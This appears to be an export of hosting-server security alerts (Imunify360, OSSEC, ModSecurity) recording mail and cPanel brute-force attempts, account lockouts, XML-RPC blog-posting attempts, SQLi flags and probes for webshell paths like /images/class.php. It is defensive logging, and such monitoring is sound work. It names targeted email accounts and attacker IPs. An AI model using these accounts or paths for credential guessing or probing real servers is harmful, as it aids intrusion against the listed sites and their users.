2026-01-31 21:31:51 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57193: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2026-01-31 21:32:06 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:32780: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:088cff240406d8a05cd382948b505142fb17bab5||Title:0x023da551||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 21:33:06 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:59082: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.118
country_id: 1269750
description:
2026-01-31 21:33:33 dovecot_login authenticator failed for H=([27.123.119.219]) [182.95.226.118]:33000: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:34:42 dovecot_login authenticator failed for H=(CbuObEtm9) [185.169.4.188]:60283: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-01-31 21:34:48 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de [93.241.232.14]:45503: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c3c5757558b3046982f18fa1c3ffe27cc988775a||Title:0xba524d63||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.236.76.10
country_id: 1814991
description:
2026-01-31 21:34:04 dovecot_login authenticator failed for H=([120.236.76.10]) [120.236.76.10]:23971: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.37.180.247
country_id: 357994
description:
2026-01-31 21:34:29 dovecot_plain authenticator failed for H=(CHXEI8NX18) [41.37.180.247]:59070: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-31 21:34:03 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:37864: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f1196301ec16ef90db7930c9c55decd7f748ad1||Title:0x3d33b6a4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:35:48 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63890: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.206.54
country_id: 1269750
description:
2026-01-31 21:35:56 dovecot_login authenticator failed for H=([182.95.3.57]) [125.19.206.54]:43184: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-01-31 21:36:02 +0800] info [cpaneld] 34.27.42.6 - nexuscol "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nexuscol (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.161.52.149
country_id: 1814991
description:
2026-01-31 21:35:04 dovecot_login authenticator failed for H=([220.161.52.149]) [220.161.52.149]:51079: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.22
country_id: 1149361
description:
2026-01-31 21:35:15 dovecot_login authenticator failed for H=([149.54.62.22]) [149.54.62.22]:45066: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:35:10 dovecot_login authenticator failed for H=(FqmvtLI7) [185.169.4.188]:50399: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:36:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56745: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:140248e7e870a7539165c1c74c1ba2288951025e||Title:0xf00b9253||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 21:36:21 H=([167.148.167.71]) [167.148.167.71]:52628 F=<Support@tst-ma.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:36:51 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61859: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-01-31 21:36:04 +0800] info [cpaneld] 34.27.42.6 - nexuscollection "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nexuscollection (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.102.50
country_id: 1269750
description:
2026-01-31 21:36:15 dovecot_login authenticator failed for H=(nsg-static-145.58.71.182.airtel.in) [27.123.102.50]:60658: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:36:18 dovecot_login authenticator failed for H=(EeVOC1n) [185.169.4.188]:51965: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:37:15 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53975: 535 Incorrect authentication data (set_id=test@box.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:37:03 dovecot_login authenticator failed for H=(xQ3vWt7Vz) [185.169.4.188]:50131: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:38:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64355: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:38:46 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53441: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 206.189.90.199
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:pwd||MV:mimmckmuokma1fwj)*nzrcf#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:38:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:79bc91366f647704061007ad3ec9ae348eaa25ea||Title:0xa17f70f9||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:38:13 dovecot_login authenticator failed for H=(rTscH5cTF) [185.169.4.188]:57287: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:39:21 dovecot_login authenticator failed for H=(EivjVgMtmu) [185.169.4.188]:65122: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:77f957fa80ea6f96dd42378b40fd51043b19b5c0||Title:0x958f4c9c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-01-31 21:39:42 dovecot_login authenticator failed for H=([121.18.49.14]) [121.18.49.14]:14170: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:39:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.51.5
country_id: 1668284
description:
2026-01-31 21:39:59 dovecot_login authenticator failed for H=111-70-51-5.emome-ip.hinet.net [111.70.51.5]:52512: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.224.102
country_id: 1269750
description:
2026-01-31 21:40:07 dovecot_login authenticator failed for H=([27.123.119.99]) [182.95.224.102]:48008: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.170
country_id: 1814991
description:
2026-01-31 21:40:13 dovecot_login authenticator failed for H=([116.114.84.170]) [116.114.84.170]:55430: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:40:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:40:07 dovecot_login authenticator failed for H=(07NCGG5) [185.169.4.188]:50887: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.248.250.143
country_id: 298795
description:
2026-01-31 21:41:39 dovecot_login authenticator failed for H=(88.248.250.143.static.ttnet.com.tr) [88.248.250.143]:49808: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-31 21:41:51 dovecot_login authenticator failed for H=([125.19.175.93]) [182.95.176.122]:38256: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:41:15 dovecot_login authenticator failed for H=(62JO1rUss) [185.169.4.188]:62714: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0bd1f84d5d296a540408c6981eb0f8b4685e0520||Title:0x2613a303||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:41:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:42:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.245.175
country_id: 3469034
description:
2026-01-31 21:42:45 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [186.215.245.175]:37420: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 21:42:59 H=([64.89.160.15]) [64.89.160.15]:63981 F=<essenas@outlook.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.108.14.226
country_id: 1814991
description:
2026-01-31 21:42:58 dovecot_login authenticator failed for H=([202.108.14.226]) [202.108.14.226]:36346: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.161.14.45
country_id: 1814991
description:
2026-01-31 21:42:45 dovecot_login authenticator failed for H=([180.129.252.55]) [60.161.14.45]:40806: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.89.15.173
country_id: 1522867
description:
2026-01-31 21:43:02 dovecot_login authenticator failed for H=178.89.15.173.dynamic.telecom.kz [178.89.15.173]:51834: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.18.150
country_id: 1835841
description:
2026-01-31 21:42:32 dovecot_login authenticator failed for H=([112.162.18.150]) [112.162.18.150]:43908: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f48268dd42560a3464331a3003d242393e46a356||Title:0x6b352120||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:42:24 dovecot_login authenticator failed for H=(MxrPc4qwiL) [185.169.4.188]:55083: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-31 21:43:15 +0800] info [cpaneld] 45.168.113.8 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.104.224.37
country_id: 2589581
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/EventListener/ProfilerListenerTest.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: webhosting2u.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home/webhost/public_html/images||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.211.164.12
country_id: 2077456
domain: webhosting2u.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/webhost/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:43:10 dovecot_login authenticator failed for H=(BLHRCId) [185.169.4.188]:58298: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:43:21 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61674: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:43:56 dovecot_login authenticator failed for H=(bE8mfa) [185.169.4.188]:64401: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: webhosting2u.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/media/wp-login.php||SC:/home/webhost/public_html/wp-includes||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8853308d8f16534934233fa393bc89cb22878130||Title:0x7b77dc5f||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:44:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50439: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:44:19 dovecot_login authenticator failed for H=(XDG299cFMl) [185.169.4.188]:59523: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:45:05 dovecot_login authenticator failed for H=(iW45iXdo) [185.169.4.188]:63498: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9d0bfdb7690c3c81716161c451ab1152066d087e||Title:0x17341d68||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:45:36 dovecot_login authenticator failed for H=(0tbtMqqG2) [178.16.54.138]:60826: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 206.189.90.199
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:pwd||MV:r^e'4hfx33 ~d.<2}#fesg9<x!?^zf||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-01-31 21:46:55 dovecot_login authenticator failed for H=([128.185.187.2]) [128.185.187.2]:45998: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:71dfdff90919d2905b0bbe2e0ff862e112c6f085||Title:0xff96bbf8||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-31 21:47:01 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:55422: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:46:15 dovecot_login authenticator failed for H=(z72905) [185.169.4.188]:61822: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:46:22 dovecot_login authenticator failed for H=(2fh3gC9vTo) [178.16.54.138]:58298: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.248.122
country_id: 1269750
description:
2026-01-31 21:46:35 dovecot_login authenticator failed for H=([122.185.248.122]) [122.185.248.122]:44848: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:46:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-31 21:47:43 dovecot_login authenticator failed for H=(nsg-corporate-36.229.187.122.airtel.in) [122.187.229.36]:36149: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:47:56 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49378: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:47:08 dovecot_login authenticator failed for H=(JQ7kVWbx) [178.16.54.138]:58526: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.61.209
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=233781 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:47:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:47:24 dovecot_login authenticator failed for H=(pxjYD9FzsR) [185.169.4.188]:61733: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:62bebd40bc53cb6b9b773cbace83bba787cfb363||Title:0x320d8ff7||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 21:48:34 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:46240: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 21:48:44 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:38180: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:48:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:48:09 dovecot_login authenticator failed for H=(fclwjI) [185.169.4.188]:65036: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:48:17 dovecot_login authenticator failed for H=(eGEsxD) [178.16.54.138]:53871: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:48:01 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49557: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-01-31 21:48:04 +0800] info [cpaneld] 185.204.54.153 - mssa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mssa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:49:35 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56721: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:49:39 dovecot_login authenticator failed for H=(sFrPuj) [185.169.4.188]:57698: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:49:04 dovecot_login authenticator failed for H=(VvSJ35ibcg) [178.16.54.138]:51972: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:49:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:49:16 dovecot_login authenticator failed for H=(Vvvn2DB) [185.169.4.188]:63877: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:073ad18fdc4f8a4cc5cf67b813c204cee1e0eff8||Title:0xf533fdc2||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 206.189.90.199
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:pwd||MV:s]txp7-,m2vd$_c$^r`vg4r.'#@el`||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:49:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:50:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
